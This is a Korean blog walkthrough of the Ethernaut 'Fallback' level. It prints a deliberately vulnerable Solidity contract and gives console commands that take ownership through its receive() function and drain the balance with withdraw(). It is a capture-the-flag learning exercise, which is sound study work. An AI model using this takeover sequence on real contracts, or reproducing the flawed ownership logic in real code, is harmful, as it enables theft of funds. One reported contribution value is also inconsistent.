Notice
Recent Posts
Recent Comments
Link
«   2026/04   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

Daily

02. Eternaut_두번째. Fallback 본문

Ethernaut이더넛

02. Eternaut_두번째. Fallback

kuc_corgi 2021. 8. 12. 23:03

Fallback

영어가 많아서 숨막힌다한다면 우리에게는 파파고(https://papago.naver.com/)와 구글번역이 있다.ㅎㅎ

더보기

대체 난이도 1/10

아래의 계약 코드를 주의 깊게 살펴보십시오.

다음과 같은 경우 이 레벨을 이길 수 있습니다.

 

당신은 계약의 소유권을 주장

잔액을 0으로 줄입니다.

 

도움이 될만한 것들

ABI와 상호 작용할 때 이더를 보내는 방법

ABI 외부에서 이더를 보내는 방법

wei/ether 단위로 변환 및 변환(help() 명령 참조)

대체 방법

문제를 보니 컨트렉트 owner가 되어야 하고 balance를 0으로 줄이라고 하네요 코드를 봅시다

더보기

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

 

코드를 보니 순간 숨이 턱턱 막힙니다.

컨트랙트 배포자가 owner고 1000eth를 가지고 있네요

owner을 제 주소로 만들어 봅시다. 어떻게 해야할까요

천천히 봐봅시다. 음.. 방법은 두가지로 보입니다

더보기

 첫번째 방법

 function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

두번째 방법

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

 

첫번째 방법으로는 할 수 있겠지만 엄청난 시간이 필요해 보입니다.

그럼 두번째 방법으로 해봅시다.

 

msg.value > 0 && contributions[msg.sender] > 0   두 조건을 해결해야 하네요.

 

일단 contributions[msg.sender] > 0    요거는 contribute() 함수를 이용해야합니다

왜냐?

contributions[msg.sender] += msg.value; 보시다시피 이런게 있네요ㅎㅎ

 

contract.contribute.sendTransaction({from:player, value:toWei("0.0001")})

자 이제 보낸봅시다 보낸뒤에 잘 확인해 봅시다. 확인할 수 있는 방법은 이와 같이 볼 수 있어요

1) Number(await contract.contributions("주소 입력")) -> 100000000000000

2) fromWei(await contract.getContribution()) -> 0.001

오호라 처음엔 0이 였는데 잘 들어갔네요

 

자 다음은 msg.value > 0 을 만들어야 합니다.

msg.value는 뭐 contract주소로 아주 작은 금액을 넣어버리면 됩니다.

 

두번째 문제인 balance를 0으로 하라고 합니다.

await contract.withdraw()  이제 내가 owner도 되었겠다 실행이 되어 0으로 변화 시켰습니다.

 

끝!

 

'Ethernaut이더넛' 카테고리의 다른 글

05. Eternaut_다섯번째. Telephone  (0) 2021.08.16
04. Eternaut_네번째. Coin Flip  (1) 2021.08.16
03. Eternaut_세번째. Fallout  (0) 2021.08.16
01. Eternaut_첫번째. Hello Ethernaut  (0) 2021.08.12
00. Eternaut 소개  (0) 2021.08.12